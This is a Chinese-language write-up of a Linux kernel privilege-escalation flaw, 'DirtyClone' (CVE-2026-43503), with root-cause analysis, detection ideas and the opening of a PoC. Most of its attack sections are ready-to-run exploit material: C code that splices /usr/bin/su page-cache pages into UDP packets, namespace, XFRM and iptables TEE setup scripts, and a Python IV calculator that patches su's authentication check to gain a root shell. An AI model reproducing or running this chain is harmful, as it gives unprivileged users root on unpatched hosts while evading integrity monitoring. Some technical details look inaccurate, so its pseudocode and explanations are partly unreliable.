目录
- 一、漏洞概述
- 二、DirtyFrag漏洞家族全景
- 三、Linux页缓存机制详解
- 四、__pskb_copy_fclone()漏洞根因分析
- 五、完整利用链7步深度分析
- 六、AES-CBC写入原语
- 七、无痕性分析
- 八、利用环境搭建与PoC框架
- 九、防御方案
- 十、总结
- 免责声明
一、漏洞概述
CVE-2026-43503(CVSS 8.8),代号"DirtyClone"(脏克隆),是JFrog Security Research的研究员Eddy Tsalolikhin和Or Peles于2026年5月19日报告的一个Linux内核高危本地提权漏洞。该漏洞于2026年5月21日在Linux v7.1-rc5中修复。
DirtyClone的核心在于:当内核通过__pskb_copy_fclone()函数克隆网络数据包(sk_buff)时,会丢失SKBFL_SHARED_FRAG标志位。这个标志位的丢失打破了内核零拷贝路径中的一个关键安全假设——即附加到sk_buff上的页缓存页(page cache page)不应被原地修改。攻击者利用这一缺陷,通过精心构造的IPsec隧道与netfilter TEE规则,使ESP解密输出覆写页缓存中特权二进制文件(如/usr/bin/su)的内存副本,从而实现无痕提权。
该漏洞的危险性体现在三个维度:
- 任意非特权用户可获root:仅需非特权用户命名空间权限(现代发行版默认开启),即可完成完整利用链。
- 攻击无痕:磁盘上的二进制文件不变,仅修改页缓存中的内存副本。不留内核日志、不留审计记录,绕过AIDE和Tripwire等文件完整性监控工具。
- 修复链完整性强:作为DirtyFrag漏洞家族的第四个成员,必须完整应用4个CVE的修复才算真正安全,任何缺失都可能导致利用链重建。
二、DirtyFrag漏洞家族全景
2.1 家族成员对比
DirtyFrag漏洞家族源于同一个设计缺陷:在现代Linux内核中,文件支持内存(page cache)、网络缓冲区(sk_buff)和原地转换(in-place transform)三种内存角色会发生语义重叠,当这三种上下文交叉时,内核可能修改仍与文件语义关联的内存。
| CVE编号 | 代号 | 漏洞函数 | 根因 | 报告日期 | 修复版本 |
|---|---|---|---|---|---|
| CVE-2026-43284 | (DirtyFrag基础) | splice/UDP发送路径 | vmsplice+splice将page cache页附加到skb,未标记为SHARED_FRAG | 2026-04 | v7.1-rc1 |
| CVE-2026-43500 | DirtyFrag | UDP发送路径标志设置 | splice的UDP包未正确设置SKBFL_SHARED_FRAG标志 | 2026-04 | v7.1-rc1 |
| CVE-2026-46300 | Fragnesia | skb coalescing路径 | skb合并(coalescing)时丢失SKBFL_SHARED_FRAG标志 | 2026-05 | v7.1-rc3 |
| CVE-2026-43503 | DirtyClone | __pskb_copy_fclone() |
sk_buff克隆时丢失SKBFL_SHARED_FRAG标志 | 2026-05-19 | v7.1-rc5 |
2.2 三种内存角色的交叉模型
DirtyFrag家族的核心攻击面在于现代内核设计中三种内存角色的语义重叠。下面的ASCII图展示了这一交叉关系:
┌─────────────────────────────────────────────┐
│ 现代内核内存角色交叉模型 │
└─────────────────────────────────────────────┘
┌──────────────────┐ ┌──────────────────┐ ┌──────────────────┐
│ 1. 文件支持内存 │ │ 2. 网络缓冲区 │ │ 3. 原地转换 │
│ (Page Cache) │ │ (sk_buff) │ │ (In-place Xform) │
│ │ │ │ │ │
│ - 可执行文件 │ │ - 网络包数据 │ │ - 加密/解密 │
│ - 普通文件映射 │ │ - 零拷贝路径 │ │ - 压缩/解压 │
│ - 进程间共享 │ │ - TX/RX队列 │ │ - 校验和计算 │
└────────┬─────────┘ └────────┬─────────┘ └────────┬─────────┘
│ │ │
│ vmsplice+splice │ │
│ (零拷贝附加) │ IPsec ESP │
│ │ (原地解密) │
▼ ▼ ▼
╔═══════════════════════════════════════════════════════════════╗
║ ║
║ ★ 语义重叠区 (Semantic Overlap) ★ ║
║ ║
║ 同一个物理页同时承载三种语义: ║
║ ① 作为page cache页(文件语义) ║
║ ② 作为skb的frags数据(网络语义) ║
║ ③ 被原地解密覆写(转换语义) ║
║ ║
║ SKBFL_SHARED_FRAG标志本应阻止③的发生 ║
║ DirtyFrag家族的4个CVE都是通过不同路径丢失该标志 ║
╚═══════════════════════════════════════════════════════════════╝
2.3 DirtyClone的独特路径
DirtyFrag家族的每个成员都找到了一条不同的标志丢失路径:
- 原始DirtyFrag修复:为spliced UDP包设置
SKBFL_SHARED_FRAG标志 - Fragnesia:在skb coalescing(合并)过程中,合并后的新skb未继承该标志
- DirtyClone:在
__pskb_copy_fclone()克隆skb时,克隆体未复制该标志
原始DirtyFrag (CVE-2026-43284/43500) Fragnesia (CVE-2026-46300)
│ │
▼ ▼
splice() → skb skb_coalesce() → merged_skb
(修复: 设置SHARED_FRAG) (修复: 继承SHARED_FRAG)
DirtyClone (CVE-2026-43503)
│
▼
__pskb_copy_fclone() → clone_skb
(修复: 复制SHARED_FRAG)
DirtyClone的独特之处在于它利用了TEE netfilter规则触发的包复制路径。TEE规则会镜像网络流量到一个网关,这一镜像操作内部调用__pskb_copy_fclone()来克隆数据包,而克隆过程中SKBFL_SHARED_FRAG标志被丢弃。
三、Linux页缓存机制详解
3.1 页缓存工作原理
Linux页缓存(page cache)是内核用于缓存文件数据的内存区域。当进程访问文件时,内核不会每次都从磁盘读取,而是将文件内容缓存在物理内存页中,这些页被称为page cache页。
┌─────────────────────────────────────────────────────────────────┐
│ 页缓存映射关系 │
└─────────────────────────────────────────────────────────────────┘
进程A地址空间 物理内存(Page Cache) 磁盘
┌──────────┐ ┌──────────────┐ ┌──────────┐
│ │ mmap │ │ read/ │ │
│ 0x7f0000 │────────▶│ Page Frame │◀────────│ /usr/bin │
│ │ 映射 │ (PFN: 0x12) │ write │ /su │
└──────────┘ │ │ │ │
│ [ELF header] │ └──────────┘
进程B地址空间 │ [.text段 ] │
┌──────────┐ │ [认证检查 ] │◀── 仅修改此处内存
│ │ mmap │ [.data段 ] │ (磁盘文件不变!)
│ 0x7f1000 │────────▶│ │
│ │ 映射 └──────────────┘
└──────────┘ ▲
│ 同一物理页
两个进程共享
3.2 为什么修改page cache可以影响进程执行
关键原理:当可执行文件被mmap到内存或被执行时,内核将文件的.text段映射到page cache页。多个执行同一二进制文件的进程共享这些page cache页。如果攻击者能修改page cache页的内容,那么:
- 新启动的进程会从被篡改的page cache页中加载代码
- 已在运行但尚未访问特定代码页的进程(通过按需分页/demand paging)在首次访问时会得到被篡改的页
这就是DirtyClone攻击的核心——它不需要修改磁盘文件,只需修改page cache中的内存副本,即可影响后续执行该二进制的进程的行为。
// 页缓存与进程执行的关系
// 当执行 /usr/bin/su 时:
// 1. 内核调用 do_execve()
// 2. ELF加载器将 .text 段 mmap 到进程地址空间
// 3. 这些映射指向 page cache 中的物理页
// 4. CPU执行指令时,从 page cache 页中读取指令
// 5. 如果 page cache 页被修改 → 执行的指令被修改!
// 关键: page cache 页是文件在内存中的唯一权威副本
// 所有通过MAP_SHARED映射或执行该文件的进程共享同一物理页
3.3 page cache的写回机制
正常情况下,对page cache页的修改会通过writeback机制写回磁盘。但DirtyClone攻击的特殊之处在于:
- 修改是通过网络解密路径(
esp_input())完成的,绕过了正常的文件写路径 - 被修改的页是只读映射(
PROT_READ | MAP_SHARED)的,没有关联写回操作 - ESP解密直接覆写物理页内容,不会触发
mark_inode_dirty等写回标记
这意味着修改不会被写回磁盘,磁盘上的文件始终保持原始内容,实现了真正的"磁盘无痕"。
四、__pskb_copy_fclone()漏洞根因分析
4.1 函数逆向伪代码分析
__pskb_copy_fclone()是内核中用于克隆sk_buff的函数,它有两种克隆模式:fast clone(fclone)和普通clone。fclone通过预分配的shadow skb实现快速克隆。
// __pskb_copy_fclone() 简化伪代码(漏洞版本)
struct sk_buff *__pskb_copy_fclone(struct sk_buff *skb, int gfp_mask,
bool fclone)
{
struct sk_buff *n;
int i;
// 分配新的sk_buff结构
n = __alloc_skb(skb->end - skb->head, gfp_mask, 0, NUMA_NO_NODE);
if (!n)
return NULL;
// 复制sk_buff的元数据字段
n->truesize = skb->truesize;
n->len = skb->len;
n->data_len = skb->data_len;
n->mac_len = skb->mac_len;
n->csum = skb->csum;
n->ip_summed = skb->ip_summed;
n->protocol = skb->protocol;
// ... 其他元数据字段复制 ...
// 复制linear data区域
skb_copy_from_linear_data(skb, n->data, skb_headlen(skb));
// ★ 漏洞核心区域: frags 和 frag_list 的复制 ★
for (i = 0; i < skb_shinfo(skb)->nr_frags; i++) {
skb_shinfo(n)->frags[i] = skb_shinfo(skb)->frags[i];
// 获取frags中页的引用 (get_page)
get_page(skb_shinfo(n)->frags[i].page);
}
skb_shinfo(n)->nr_frags = i;
// 复制 frag_list (GSO/分片)
if (skb_shinfo(skb)->frag_list) {
skb_shinfo(n)->frag_list = skb_shinfo(skb)->frag_list;
// ... 引用计数处理 ...
}
// ★★★ 漏洞所在: flags 字段未被完整复制 ★★★
// 漏洞版本中,shinfo->flags 的 SHARED_FRAG 位未复制到克隆体
// skb_shinfo(n)->flags = skb_shinfo(skb)->flags; // 这行缺失!
// 仅复制了部分flags
skb_shinfo(n)->flags = skb_shinfo(skb)->flags & SKBFL_KEEPCLONE;
// SHARED_FRAG 不在 SKBFL_KEEPCLONE 掩码中 → 被丢弃!
return n;
}
4.2 SKBFL_SHARED_FRAG标志的作用
SKBFL_SHARED_FRAG标志位存在于skb_shared_info结构的flags字段中。它的语义是:当前skb的frags数组中包含的页是"共享页"(shared frag),即这些页与文件语义(page cache)关联,不应被原地修改。
// 内核中的标志定义 (include/linux/skbuff.h)
#define SKBFL_SHARED_FRAG (1 << 0) // frags中包含共享页(page cache关联)
#define SKBFL_PURE_FRAG (1 << 1)
#define SKBFL_KEEPCLONE (1 << 2) // 克隆时需保留的标志位
// 标志检查的安全逻辑:
// 当内核需要原地修改skb数据时(如IPsec解密), 会检查该标志:
static inline int skb_has_shared_frag(const struct sk_buff *skb)
{
return skb_shinfo(skb)->flags & SKBFL_SHARED_FRAG;
}
// 在 esp_input() 等原地转换路径中:
if (skb_has_shared_frag(skb)) {
// 安全路径: 先copy frag页再修改 (COW - 写时复制)
err = skb_ensure_writable(skb, ...);
if (err)
return err;
// 此时会将共享页复制为新页, 避免修改page cache
}
// 如果标志丢失 → 不会执行COW → 直接原地修改 → 覆写page cache!
4.3 标志丢失的完整路径时间轴
下图展示了从攻击者发送数据包到标志丢失、再到page cache被覆写的完整时间轴:
时间轴: DirtyClone标志丢失与利用路径
═══════════════════════════════════════════════════════════════════
[T0] 攻击者: vmsplice + splice 将 /usr/bin/su 的 page cache 页
附加到 skb 的 frags 数组
│
│ skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG ✓ 标志已设置
▼
[T1] 攻击者: 发送 UDP 包到 127.0.0.1:4500 (IPsec NAT-T 端口)
│
│ 包通过本地网络栈 (loopback)
▼
[T2] Netfilter: iptables mangle OUTPUT 链匹配
iptables -t mangle -A OUTPUT -p udp --dport 4500 -j TEE --gateway 10.99.0.2
│
│ TEE target 触发包镜像
▼
[T3] TEE处理: 调用 __pskb_copy_fclone() 克隆数据包
│
│ ★ 漏洞触发点 ★
│ clone_skb = __pskb_copy_fclone(skb, ...)
│ 克隆过程中: flags & SKBFL_KEEPCLONE → SHARED_FRAG 被丢弃!
│ clone_skb->shinfo->flags 中没有 SHARED_FRAG ✗ 标志丢失!
▼
[T4] 克隆包路由: 克隆包被发送到 gateway 10.99.0.2 (即自身loopback)
│
│ 回环到本机的 IPsec 入站处理
▼
[T5] IPsec入站: esp_input() 处理克隆包
│
│ 检查 skb_has_shared_frag(clone_skb) → FALSE (标志已丢失!)
│ → 不执行 COW (写时复制)
│ → 直接原地解密
▼
[T6] ESP解密: AES-CBC 解密输出写入 skb 的 frags 页
│
│ 这些 frags 页实际指向 /usr/bin/su 的 page cache 页!
│ 解密输出 = 攻击者精心计算的IV控制的明文
▼
[T7] Page Cache被覆写: /usr/bin/su 的认证检查指令被修改
│
│ 磁盘文件不变! 仅 page cache 内存副本被修改!
▼
[T8] 提权: 攻击者执行 /usr/bin/su
│
│ 内核从被篡改的 page cache 页加载指令
│ 认证检查被绕过 → 直接获得 root shell
▼
[ROOT SHELL]
五、完整利用链7步深度分析
5.1 利用链总览
┌─────────────────────────────────────────────────────────────────────┐
│ DirtyClone 完整利用链数据流 (7步) │
└─────────────────────────────────────────────────────────────────────┘
┌─────────────┐
│ Step 1: │ mmap /usr/bin/su → page cache
│ 映射特权文件 │ (将目标二进制文件的页加载到page cache)
└──────┬──────┘
│
▼
┌─────────────┐
│ Step 2: │ vmsplice(pipe) + splice(socket) 零拷贝
│ 零拷贝附加 │ (将page cache页附加到skb frags)
└──────┬──────┘
│
▼
┌─────────────┐
│ Step 3: │ IPsec隧道配置 (loopback ESP transport)
│ IPsec隧道 │ (包保持在本地, 到达ESP解密阶段)
└──────┬──────┘
│
▼
┌─────────────┐
│ Step 4: │ TEE netfilter 触发 __pskb_copy_fclone()
│ 标志丢失 │ (克隆时丢失SKBFL_SHARED_FRAG)
└──────┬──────┘
│
▼
┌─────────────┐
│ Step 5: │ esp_input() 原地解密
│ ESP原地解密 │ (解密输出写入page cache页)
└──────┬──────┘
│
▼
┌─────────────┐
│ Step 6: │ AES-CBC IV计算 → 可控写入
│ 可控写入 │ (精确覆写认证检查指令)
└──────┬──────┘
│
▼
┌─────────────┐
│ Step 7: │ 执行 /usr/bin/su → root
│ 提权执行 │ (从被篡改的page cache加载指令)
└─────────────┘
5.2 Step 1: 映射特权二进制文件到page cache
第一步的目标是将目标特权二进制文件(如/usr/bin/su)的相关页加载到page cache中。攻击者需要确定要修改的"patch offset"——即认证检查指令在文件中的偏移量。
// Step 1: 映射 /usr/bin/su 到 page cache
#define TARGET_BINARY "/usr/bin/su"
// 首先确定要修补的偏移量
// 通常 su 的认证检查是一个类似如下的序列:
// call <pam_authenticate>
// test eax, eax
// jnz <auth_failed> ← 将此 jnz 改为 jmp (无条件跳过) 或 nop
// 攻击者通过反汇编确定此偏移
size_t patch_offset = 0x4a3c; // 示例: 认证检查跳转指令的偏移
size_t mmap_size = 0x1000; // 一个页大小
int fd = open(TARGET_BINARY, O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
// MAP_SHARED 映射 → 映射到 page cache 页
// PROT_READ → 只读映射, 不触发写时复制
char *p = mmap(NULL, mmap_size, PROT_READ, MAP_SHARED, fd, patch_offset & ~0xfff);
if (p == MAP_FAILED) {
perror("mmap");
exit(1);
}
// 此时 /usr/bin/su 的对应页已在 page cache 中
// p 指向的虚拟地址映射到 page cache 的物理页
// 后续 vmsplice 将使用这个映射
5.3 Step 2: vmsplice + splice 零拷贝附加
这是利用链中最精妙的一步。vmsplice和splice系统调用实现了真正的零拷贝——数据从不离开内核空间,page cache的物理页直接被附加到sk_buff的frags数组中。
// Step 2: vmsplice + splice 将 page cache 页附加到网络包
int pipefd[2];
int sockfd;
// 创建管道 (splice的中转)
pipe(pipefd);
// 创建UDP socket (目标为IPsec NAT-T端口4500)
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
struct sockaddr_in dst = {
.sin_family = AF_INET,
.sin_port = htons(4500), // IPsec NAT-T 端口
.sin_addr.s_addr = htonl(INADDR_LOOPBACK), // 127.0.0.1
};
// ★ vmsplice: 将用户空间映射的page cache页"灌入"管道 ★
// 关键: iov指向mmap返回的地址, 该地址映射到page cache物理页
// vmsplice通过get_user_pages获取这些物理页的引用
// 不复制数据! 只传递物理页引用!
struct iovec iov = {
.iov_base = p + (patch_offset & 0xfff), // 指向patch位置的虚拟地址
.iov_len = 16, // 16字节 (一个AES块大小)
};
ssize_t ret = vmsplice(pipefd[1], &iov, 1, 0);
// 现在 pipefd[1] 的内核缓冲区引用了 page cache 的物理页
// ★ splice: 将管道中的页引用转移到socket ★
// splice内部调用 udp_sendmsg → ubs_send_skb
// 这些page cache页被附加到skb的frags数组
// SKBFL_SHARED_FRAG 标志被设置 (原始DirtyFrag修复)
ret = splice(pipefd[0], NULL, sockfd, NULL, 16, 0);
// 内核创建的skb: skb_shinfo(skb)->frags[0].page = page cache页
// skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG ✓
// 此skb被发送到127.0.0.1:4500
// 但frags中引用的物理页就是 /usr/bin/su 的page cache页!
零拷贝的内存关系图:
用户空间 内核空间 物理内存
┌──────────┐ ┌──────────────────┐ ┌──────────────┐
│ mmap返回 │ │ pipe buffer │ │ │
│ 虚拟地址 │ │ ┌────────────┐ │ │ Page Cache │
│ 0x7f... │───▶│ │ page ptr │──┼───▶│ 物理页 │
└──────────┘ │ └────────────┘ │ │ (PFN: 0x12) │
│ └────────┬─────────┘ │ │
│ │ splice │ [su认证检查] │
│ ▼ │ │
│ ┌──────────────────┐ └──────┬───────┘
│ │ sk_buff │ │
│ │ shinfo->frags[0]│───────────┘
│ │ .page = PFN 0x12│ (同一物理页!)
│ │ flags |= SHARED_│
│ │ FRAG │
│ └──────────────────┘
│
磁盘: /usr/bin/su (文件内容不变)
5.4 Step 3: 创建loopback-based IPsec隧道
攻击者创建一个本地的IPsec ESP隧道,使数据包保持在本地进行解密。通过unshare -Urn创建用户命名空间,可获得CAP_NET_ADMIN权限来配置XFRM(IPsec框架)。
# Step 3: IPsec隧道配置 (在用户命名空间中执行)
# 创建用户+网络命名空间, 获取CAP_NET_ADMIN
unshare -Urn
# 启用loopback
ip link set lo up
ip addr add 10.99.0.2/24 dev lo
# 创建XFRM SA (Security Association) - ESP transport模式
# 攻击者完全控制密钥材料!
ip xfrm state add \
src 127.0.0.1 dst 127.0.0.1 \
proto esp spi 0x12345678 reqid 1 mode transport \
enc 'cbc(aes)' 0xaabbccddeeff00112233445566778899 \
auth 'hmac(sha1)' 0x0102030405060708090a0b0c0d0e0f10111213
# 创建XFRM Policy - 匹配loopback流量
ip xfrm policy add \
src 127.0.0.1 dst 127.0.0.1 dir out \
tmpl src 127.0.0.1 dst 127.0.0.1 proto esp reqid 1 mode transport
# 入站方向也需要policy
ip xfrm policy add \
src 127.0.0.1 dst 127.0.0.1 dir in \
tmpl src 127.0.0.1 dst 127.0.0.1 proto esp reqid 1 mode transport
5.5 Step 4: TEE触发包克隆与标志丢失
TEE是netfilter的一个target,用于镜像(复制)网络流量到指定网关。当攻击者的UDP包到达OUTPUT链的TEE规则时,TEE会克隆该包并发送到指定网关(这里配置为自身loopback地址)。
# TEE规则: 镜像UDP 4500端口的包到10.99.0.2(自身)
iptables -t mangle -A OUTPUT -p udp --dport 4500 -j TEE --gateway 10.99.0.2
TEE克隆路径的标志丢失:
原始skb (有SHARED_FRAG标志)
│
│ TEE target: tg_route / skb_copy
│ 内部调用 __pskb_copy_fclone()
▼
克隆skb (★ SHARED_FRAG标志丢失 ★)
│
│ 路由到 10.99.0.2 (loopback回环)
▼
本机IPsec入站处理 (esp_input)
│
│ skb_has_shared_frag(clone) → FALSE
│ → 不执行COW → 直接原地解密!
▼
page cache页被覆写
5.6 Step 5: ESP原地解密覆写page cache
当克隆包到达esp_input()时,由于SKBFL_SHARED_FRAG标志已丢失,内核认为frags中的页是私有的,可以安全地原地修改。于是ESP解密输出直接写入frags引用的物理页——而这个物理页正是/usr/bin/su的page cache页。
// esp_input() 简化逻辑 (net/ipv4/esp4.c)
static int esp_input(struct xfrm_state *x, struct sk_buff *skb)
{
// ... 提取ESP头部, 获取SA信息 ...
// ★ 关键检查: 是否需要COW (写时复制) ★
// 如果skb有共享frags, 需要先复制再修改
if (skb_has_shared_frag(skb)) {
// 安全路径: 复制frags页, 修改副本
err = skb_ensure_writable(skb, skb->len);
if (err)
return err;
// 此后修改的是新页, 不影响page cache
}
// 如果标志丢失 → 跳过COW → 直接原地解密!
// ★ 原地解密: AES-CBC ★
// 解密输出写入 skb->data 和 frags 指向的物理页
// 由于frags指向page cache页 → page cache被覆写!
sg_init_table(sg, nfrags);
skb_to_sgvec(skb, sg, ...); // sg指向frags的物理页
aead_request_set_crypt(req, sg, sg, ..., iv); // IV来自ESP包
crypto_aead_decrypt(req); // ★ 解密输出写入page cache页! ★
// 此时 /usr/bin/su 的page cache页已被修改
return 0;
}
5.7 Step 6: AES-CBC可控写入
这一步是利用链的数学核心。攻击者通过控制AES-CBC的密钥(SA配置)、IV(每包ESP IV)和包布局,将解密操作转化为对page cache的精确可控写入。详见第六节。
5.8 Step 7: 执行su提权
// Step 7: 执行被篡改的 /usr/bin/su
// page cache中的认证检查指令已被修改
// 例如: jnz (认证失败跳转) → nop 或 jmp (跳过检查)
system("/usr/bin/su -"); // 直接获得root shell, 无需密码!
由于page cache已被修改,内核在执行/usr/bin/su时,从被篡改的page cache页中加载指令,认证检查被绕过,攻击者直接获得root权限。
六、AES-CBC写入原语
6.1 AES-CBC解密原理
AES-CBC(Cipher Block Chaining)模式的解密过程中,每个密文块先通过AES块解密,然后与前一个密文块(或IV)异或,得到明文块。
AES-CBC解密公式:
P_i = D_K(C_i) XOR C_{i-1} (i > 0)
P_0 = D_K(C_0) XOR IV (第一个块)
其中:
D_K = AES块解密函数 (密钥K)
C_i = 第i个密文块
P_i = 第i个明文块
IV = 初始化向量
6.2 IV控制实现可控写入
攻击者控制的关键变量:
- AES密钥K:通过SA(Security Association)配置完全控制
- IV:ESP包中每包独立指定,攻击者完全控制
- 密文C_i:通过构造原始UDP包内容控制
- 原始明文P_original:
/usr/bin/su在该偏移处的原始字节(可通过读取文件获得)
攻击者的目标是使解密输出等于目标字节P_target(修改后的指令)。
攻击者的目标:
D_K(C_0) XOR IV = P_target
已知:
原始明文: P_original = D_K(C_0) XOR IV_original
推导:
D_K(C_0) = P_original XOR IV_original
代入目标:
P_target = (P_original XOR IV_original) XOR IV_new
求解IV_new:
IV_new = P_target XOR P_original XOR IV_original
或更简洁地:
IV_new = IV_original XOR P_original XOR P_target
这意味着攻击者只需计算IV_new = IV_original XOR (原始字节 XOR 目标字节),就能使ESP解密输出精确地等于目标字节,实现对page cache的可控写入。
6.3 IV计算Python脚本
#!/usr/bin/env python3
"""
DirtyClone AES-CBC IV计算脚本
计算ESP解密所需的IV, 使解密输出等于目标字节
"""
import struct
def compute_attack_iv(iv_original, original_bytes, target_bytes):
"""
计算攻击IV
参数:
iv_original: 原始ESP包的IV (16字节)
original_bytes: page cache中该位置的原始字节 (16字节, 一个AES块)
target_bytes: 想要写入的目标字节 (16字节, 一个AES块)
返回:
attack_iv: 使解密输出=target_bytes的IV (16字节)
原理:
AES-CBC解密: P = D_K(C) XOR IV
原始: P_original = D_K(C) XOR IV_original
目标: P_target = D_K(C) XOR IV_attack
=> D_K(C) = P_original XOR IV_original
=> IV_attack = P_target XOR D_K(C)
= P_target XOR P_original XOR IV_original
= IV_original XOR P_original XOR P_target
"""
assert len(iv_original) == 16, "IV must be 16 bytes"
assert len(original_bytes) == 16, "original must be 16 bytes (1 AES block)"
assert len(target_bytes) == 16, "target must be 16 bytes (1 AES block)"
attack_iv = bytearray(16)
for i in range(16):
attack_iv[i] = iv_original[i] ^ original_bytes[i] ^ target_bytes[i]
return bytes(attack_iv)
def patch_jnz_to_nop(original_bytes):
"""
将认证检查的 jnz 指令修补为 nop
示例: x86_64
原始指令 (jnz auth_failed):
0F 85 XX XX XX XX (6字节 jnz near)
修补为 nop:
90 90 90 90 90 90 (6字节 nop)
其余字节保持不变
"""
target = bytearray(original_bytes)
# 假设jnz在块起始位置
target[0] = 0x90 # nop
target[1] = 0x90 # nop
target[2] = 0x90 # nop
target[3] = 0x90 # nop
target[4] = 0x90 # nop
target[5] = 0x90 # nop
return bytes(target)
# ============ 示例用法 ============
if __name__ == "__main__":
# 原始ESP IV (从ESP包头部提取)
iv_original = bytes.fromhex("deadbeefcafebabe1234567890abcdef")
# 从 /usr/bin/su 读取 patch_offset 处的原始16字节
# 假设通过反汇编得知:
original_bytes = bytes.fromhex(
"0f850a000000" # jnz +0xa (认证失败跳转)
"488b45e8" # mov rax, [rbp-0x18]
"48" # (部分下一条指令)
)
# 计算目标字节 (将jnz改为nop)
target_bytes = patch_jnz_to_nop(original_bytes)
# 计算攻击IV
attack_iv = compute_attack_iv(iv_original, original_bytes, target_bytes)
print(f"原始IV: {iv_original.hex()}")
print(f"原始字节: {original_bytes.hex()}")
print(f"目标字节: {target_bytes.hex()}")
print(f"攻击IV: {attack_iv.hex()}")
# 验证: IV_original XOR original XOR target 应等于 attack_iv
verify = bytearray(16)
for i in range(16):
verify[i] = iv_original[i] ^ original_bytes[i] ^ target_bytes[i]
assert verify == bytearray(attack_iv), "验证失败!"
print("\n[+] IV计算验证通过!")
print(f"[+] 使用此IV的ESP包解密后, page cache将写入目标字节")
6.4 多块写入
如果需要修改的代码跨越多个AES块(每块16字节),攻击者需要对每个块独立计算IV。由于CBC模式中每个块的解密独立使用对应的IV,多块写入只需为每块计算独立的攻击IV。
七、无痕性分析
7.1 磁盘文件不变
DirtyClone的无痕性根源在于修改路径完全绕过了文件系统写路径:
| 操作路径 | 是否修改磁盘 | 是否修改page cache |
|---|---|---|
| 正常文件写入(write) | 是(writeback) | 是 |
| mmap+memcpy写入 | 是(writeback) | 是 |
| DirtyClone(ESP解密) | 否 | 是 |
ESP解密通过crypto_aead_decrypt()直接覆写frags指向的物理页,这一路径:
- 不经过VFS(虚拟文件系统)层
- 不调用
mark_inode_dirty()(不标记inode为脏) - 不加入inode的脏页列表
- 因此writeback线程永远不会将其写回磁盘
7.2 文件完整性监控失效
┌─────────────────────────────────────────────────────────────┐
│ 为什么 AIDE / Tripwire 检测不到 DirtyClone │
├─────────────────────────────────────────────────────────────┤
│ │
│ AIDE/Tripwire 的工作原理: │
│ 1. 定期扫描磁盘上的文件 │
│ 2. 计算文件的哈希值 (SHA256/MD5等) │
│ 3. 与基线数据库中的哈希值比较 │
│ 4. 哈希不匹配 → 报警 │
│ │
│ DirtyClone的修改: │
│ - 仅修改 page cache (内存) │
│ - 磁盘文件内容完全不变 │
│ - AIDE读取文件 → 内核从磁盘/干净page cache读取 │
│ - ★ AIDE计算的哈希 = 原始文件哈希 → 不报警! ★ │
│ │
│ 注意: AIDE读取文件时, 如果page cache已被修改: │
│ - read() 系统调用从 page cache 读取 → 会读到修改后内容! │
│ - 但AIDE通常在攻击者提权后已无法信任 │
│ - 且攻击者可在提权后修复page cache (重新mmap+读取磁盘) │
│ │
└─────────────────────────────────────────────────────────────┘
7.3 无内核日志与审计记录
DirtyClone利用过程中不触发任何内核日志或审计记录:
- 不触发dmesg日志:正常网络包处理和IPsec解密是常规操作,不产生警告
- 不触发auditd记录:未执行敏感系统调用(如
ptrace、setuid) - 不触发SELinux/AppArmor审计:所有操作在授权的命名空间内进行
7.4 检测方法
内存取证(Volatility)
通过内存转储分析page cache页与磁盘文件的差异:
# 使用 Volatility 进行 page cache 取证
# 1. 获取内存转储
volatility -f memory.dmp linux_pagecache_scan
# 2. 对比 page cache 中的 /usr/bin/su 与磁盘版本
# 如果 page cache 哈希 ≠ 磁盘哈希 → 检测到 DirtyClone 篡改!
# LiME (Linux Memory Extractor) 获取内存:
insmod lime.ko "path=/tmp/mem.lime format=lime"
eBPF内核监控
使用eBPF监控ESP解密路径对frags页的修改:
// eBPF 检测程序: 监控 esp_input 对共享页的修改
// 文件: detect_dirtyclone.bpf.c
#include "vmlinux.h"
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_helpers.h>
// 跟踪 crypto_aead_decrypt 调用, 检查skb是否有shared frag
SEC("kprobe/crypto_aead_decrypt")
int BPF_KPROBE(detect_dirtyclone, struct aead_request *req)
{
struct sk_buff *skb = (struct sk_buff *)req->base.data;
// 检查skb是否来自网络栈 (而非本地加密)
if (!skb || !skb->dev)
return 0;
// 检查frags中的页是否属于page cache
struct skb_shared_info *shinfo = skb_shinfo(skb);
#pragma unroll
for (int i = 0; i < shinfo->nr_frags && i < MAX_FRAGS; i++) {
struct page *page = skb_frag_page(&shinfo->frags[i]);
if (page && PageMapping(page)) {
// frags中的页属于page cache → 可疑!
// 进一步检查是否缺少SHARED_FRAG标志
if (!(shinfo->flags & SKBFL_SHARED_FRAG)) {
// ★ 检测到DirtyClone! ★
// frags引用page cache页但缺少SHARED_FRAG标志
bpf_trace_printk("DIRTYCLONE: skb %p frag %d "
"page_cache page without SHARED_FRAG!\n",
skb, i);
// 触发告警
}
}
}
return 0;
}
char _license[] SEC("license") = "GPL";
八、利用环境搭建与PoC框架
8.1 完整环境配置脚本
#!/bin/bash
# DirtyClone 利用环境配置脚本
# 在用户命名空间中执行 (unshare -Urn)
set -e
echo "[*] 配置网络命名空间..."
ip link set lo up
ip addr add 10.99.0.2/24 dev lo
echo "[*] 配置IPsec ESP SA (transport模式)..."
# AES-CBC密钥和HMAC-SHA1密钥由攻击者控制
ip xfrm state add \
src 127.0.0.1 dst 127.0.0.1 \
proto esp spi 0x12345678 reqid 1 mode transport \
enc 'cbc(aes)' 0xaabbccddeeff00112233445566778899 \
auth 'hmac(sha1)' 0x0102030405060708090a0b0c0d0e0f10111213
echo "[*] 配置IPsec Policy..."
ip xfrm policy add src 127.0.0.1 dst 127.0.0.1 dir out \
tmpl src 127.0.0.1 dst 127.0.0.1 proto esp reqid 1 mode transport
ip xfrm policy add src 127.0.0.1 dst 127.0.0.1 dir in \
tmpl src 127.0.0.1 dst 127.0.0.1 proto esp reqid 1 mode transport
echo "[*] 配置TEE netfilter规则..."
# 镜像UDP 4500端口的包到自身 (触发__pskb_copy_fclone)
iptables -t mangle -A OUTPUT -p udp --dport 4500 -j TEE --gateway 10.99.0.2
echo "[*] 环境配置完成!"
echo "[*] 现在运行 dirtyclone_poc"
8.2 C语言PoC框架
/*
* DirtyClone PoC 框架
* CVE-2026-43503 利用代码框架
*
* 编译: gcc -o dirtyclone_poc dirtyclone_poc.c -static
* 运行: 在 unshare -Urn 创建的命名空间中执行
*
* 警告: 仅用于授权安全研究!
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
